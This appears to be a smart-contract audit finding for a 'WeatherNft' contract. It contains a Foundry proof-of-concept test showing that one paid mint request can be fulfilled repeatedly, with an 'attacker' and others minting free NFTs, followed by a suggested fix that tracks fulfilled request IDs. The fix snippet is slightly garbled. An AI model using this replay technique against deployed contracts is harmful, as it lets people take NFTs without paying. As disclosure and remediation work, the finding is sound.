function test_multiple_mints_with_same_requestId() public {
string memory pincode = "125001";
string memory isoCode = "IN";
bool registerKeeper = false;
uint256 heartbeat = 12 hours;
uint256 initLinkDeposit = 0;
uint256 initialTokenCount = weatherNft.s_tokenCounter();
console.log("Initial token count: ", initialTokenCount);
console.log("Initial price: ", weatherNft.s_currentMintPrice());
vm.startPrank(user);
vm.recordLogs();
weatherNft.requestMintWeatherNFT{
value: weatherNft.s_currentMintPrice()
}(pincode, isoCode, registerKeeper, heartbeat, initLinkDeposit);
vm.stopPrank();
Vm.Log[] memory logs = vm.getRecordedLogs();
bytes32 reqId;
for (uint256 i; i < logs.length; i++) {
if (
logs[i].topics[0] ==
keccak256(
"WeatherNFTMintRequestSent(address,string,string,bytes32)"
)
) {
(, , , reqId) = abi.decode(
logs[i].data,
(address, string, string, bytes32)
);
break;
}
}
assert(reqId != bytes32(0));
vm.prank(functionsRouter);
bytes memory weatherResponse = abi.encode(
WeatherNftStore.Weather.SUNNY
);
weatherNft.handleOracleFulfillment(reqId, weatherResponse, "");
address[] memory minters = new address[](5);
minters[0] = user;
minters[1] = attacker;
minters[2] = frontRunner;
minters[3] = makeAddr("random1");
minters[4] = makeAddr("random2");
uint256[] memory tokenIds = new uint256[](5);
uint256 mintersLength = minters.length;
for (uint256 i = 0; i < mintersLength; i++) {
uint256 tokenCountBefore = weatherNft.s_tokenCounter();
console.log(
"Token count before minting: ",
tokenCountBefore
);
vm.prank(minters[i]);
weatherNft.fulfillMintRequest(reqId);
uint256 tokenCountAfter = weatherNft.s_tokenCounter();
console.log(
"Token count after minting: ",
tokenCountAfter
);
tokenIds[i] = tokenCountBefore;
console.log(
"Token ID minted: ",
tokenIds[i]
);
assertEq(
tokenCountAfter,
tokenCountBefore + 1
);
assertEq(
weatherNft.balanceOf(minters[i]),
1
);
assertEq(
weatherNft.ownerOf(tokenIds[i]),
minters[i]
);
assertEq(
uint8(weatherNft.s_tokenIdToWeather(tokenIds[i])),
uint8(WeatherNftStore.Weather.SUNNY)
);
console.log(
"User %s minted token ID %d using requestId %s",
minters[i],
tokenIds[i],
vm.toString(reqId)
);
}
assertEq(
weatherNft.s_tokenCounter(),
initialTokenCount + 5
);
(uint256 reqHeartbeat, address reqUser, , , , ) = weatherNft
.s_funcReqIdToUserMintReq(reqId);
assertEq(reqUser, user, "Request data should still exist in storage");
assertEq(
reqHeartbeat,
heartbeat,
"Request data should still exist in storage"
);
console.log("Final price: ", weatherNft.s_currentMintPrice());
console.log(
"Final token count: ",
weatherNft.s_tokenCounter()
);
}
In a scenario with keeper registration enabled (which we disabled in the test for simplicity), this vulnerability becomes even more severe:
Consider using a mapping and a custom error to track which requestIds have been fulfilled.
+ // Track which requestIds have been fulfilled
+ mapping(bytes32 => bool) private s_requestIdFulfilled;
function fulfillMintRequest(bytes32 requestId) external {
require(response.length > 0 || err.length > 0, WeatherNft__Unauthorized());
+ // Prevent duplicate fulfillment
+ require(!s_requestIdFulfilled[requestId], "WeatherNft__RequestAlreadyFulfilled");
...rest of function logic
s_weatherNftInfo[tokenId] = WeatherNftInfo({
heartbeat: _userMintRequest.heartbeat,
lastFulfilledAt: block.timestamp,
upkeepId: upkeepId,
pincode: _userMintRequest.pincode,
isoCode: _userMintRequest.isoCode
});
+ // Mark request as fulfilled
+ s_requestIdFulfilled[requestId] = true;
+
+ // Clean up storage to prevent bloat and reduce gas costs
+ delete s_funcReqIdToMintFunctionReqResponse[requestId];
+ delete s_funcReqIdToUserMintReq[requestId];
}
+ // Add a custom error for duplicate fulfillment
+ error WeatherNft__RequestAlreadyFulfilled();